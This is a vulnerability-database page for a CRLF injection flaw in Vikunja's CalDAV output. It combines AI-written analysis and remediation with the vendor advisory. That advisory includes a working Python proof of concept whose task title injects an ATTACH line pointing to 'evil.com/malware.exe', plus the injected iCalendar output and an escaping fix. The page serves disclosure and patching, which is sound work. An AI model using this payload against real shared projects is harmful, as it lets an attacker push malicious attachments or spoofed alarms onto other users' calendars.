EUVD-2026-21428
GHSA-2g7h-7rqr-9p4r
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
|
| Impact | CVSS 4.1 (Low-Medium) with vector AV:N/AC:L/PR:L/UI:R reflects the authentication requirement (PR:L) and user interaction dependency (UI:R). However, real-world risk is elevated by several factors: EPSS and exploitation data are not provided, but the attack requires only REST API write access (readily available in shared projects) and relies on standard CalDAV client parsing behavior-no special configuration needed. The vulnerability is not a remote code execution despite the RCE tag in input; it is an integrity violation (I:L) enabling property injection. Actively exploited status is unconfirmed (KEV not mentioned), but a proof-of-concept demonstrating end-to-end exploitation exists in the advisory. The user interaction requirement (calendar sync) is a realistic step in shared collaboration scenarios, making this a practical threat to multi-user Vikunja deployments. SSVC decision signals: exploitation status = proof-of-concept (not zero-day), automatable = yes (REST API), technical impact = limited integrity compromise. Priority is moderate-to-high in shared-project environments, lower for single-user or restricted deployments. |
| Exploit ScenarioDerived | An attacker with write access to a shared Vikunja project creates a task with title 'Meeting ATTACH:https://evil.com/malware.exe X-INJECTED:pwned' via the REST API. When another team member syncs the project via CalDAV, their calendar client parses the injected ATTACH and X-INJECTED properties as legitimate iCalendar directives, potentially auto-downloading the attachment or executing client-specific handlers. No special network conditions or client vulnerabilities are required-standard RFC 5545 parsing in CalDAV clients (Thunderbird, Evolution, Apple Calendar, etc.) will process the injected properties. Proof-of-concept code demonstrates end-to-end exploitation with a working Vikunja instance. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 10, 2026
CalDAV output generator in Vikunja allows authenticated users to inject arbitrary iCalendar properties via CRLF characters in task titles, bypassing RFC 5545 TEXT value escaping requirements. An attacker with project write access can craft malicious task titles that break iCalendar property boundaries, enabling injection of fake ATTACH URLs, VALARM notifications, or ORGANIZER spoofing when other users sync via CalDAV. Patch available in version 2.3.0; requires user interaction (calendar sync) to trigger on other users' clients.
RemediationAI
Vendor-released patch: Vikunja v2.3.0 (released as referenced in GitHub release tag v2.3.0). Apply RFC 5545 TEXT value escaping to all user-controlled iCalendar fields by implementing the escapeICal() function provided in the advisory description, which replaces backslashes with \\, semicolons with \;, commas with \,, newlines with \n, and strips carriage returns. This fix must be applied to SUMMARY, CATEGORIES, UID, project name, and VALARM DESCRIPTION fields. Upgrade to version 2.3.0 or apply the fix from GitHub PR #2580 (https://github.com/go-vikunja/vikunja/pull/2580). For users unable to upgrade immediately, restrict write access to shared projects or disable CalDAV endpoints if not required.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Vikunja's CalDAV endpoint (pkg/caldav/caldav.go:146) constructs VTODO entries by concatenating user-supplied fields directly into iCalendar output without applying RFC 5545 Section 3.3.11 escaping rules. RFC 5545 mandates that TEXT property values escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. The vulnerability exists in multiple fields including SUMMARY, CATEGORIES, UID, project name, and VALARM DESCRIPTION. Go's JSON decoder preserves literal CR/LF bytes in string values, allowing CRLF sequences created via the REST API to persist and break iCalendar property boundaries when served via CalDAV. This is an injection vulnerability (CWE-93: Improper Neutralization of Special Elements used in an iCalendar Stream) that transforms user-controlled input into syntactically valid iCalendar directives.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Primary rating from Vendor (https://github.com/go-vikunja/vikunja).
CVSS VectorVendor: https://github.com/go-vikunja/vikunja
Lifecycle Timeline
2DescriptionCVE.org
Summary
The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.
Details
The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:
SUMMARY:` + t.Summary + getCaldavColor(t.Color)RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.
Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
from requests.auth import HTTPBasicAuth
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()
# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()
# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"
# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)Output:
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDARThe ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.
Impact
An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:
- Injecting malicious attachment URLs (
ATTACH) that clients may auto-download or display - Creating fake alarm notifications (
VALARM) for social engineering - Spoofing organizer identity (
ORGANIZER)
Recommended Fix
Apply RFC 5545 TEXT value escaping to all user-controlled fields:
func escapeICal(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, ";", "\\;")
s = strings.ReplaceAll(s, ",", "\\,")
s = strings.ReplaceAll(s, "\n", "\\n")
s = strings.ReplaceAll(s, "\r", "")
return s
}Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.
--- *Found and reported by aisafe.io*
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Related Vulnerabilities in Vikunja Multiple Authorization and Injection
View all 11Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Vendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Exploit-DB